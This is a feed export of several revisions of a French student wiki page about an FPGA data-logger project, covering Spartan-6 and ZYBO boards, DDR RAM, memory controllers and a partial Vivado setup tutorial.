*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27510</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27510"/>
				<updated>2016-02-22T09:13:29Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Étude de la carte TE0603 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
	C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27509</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27509"/>
				<updated>2016-02-22T09:13:08Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
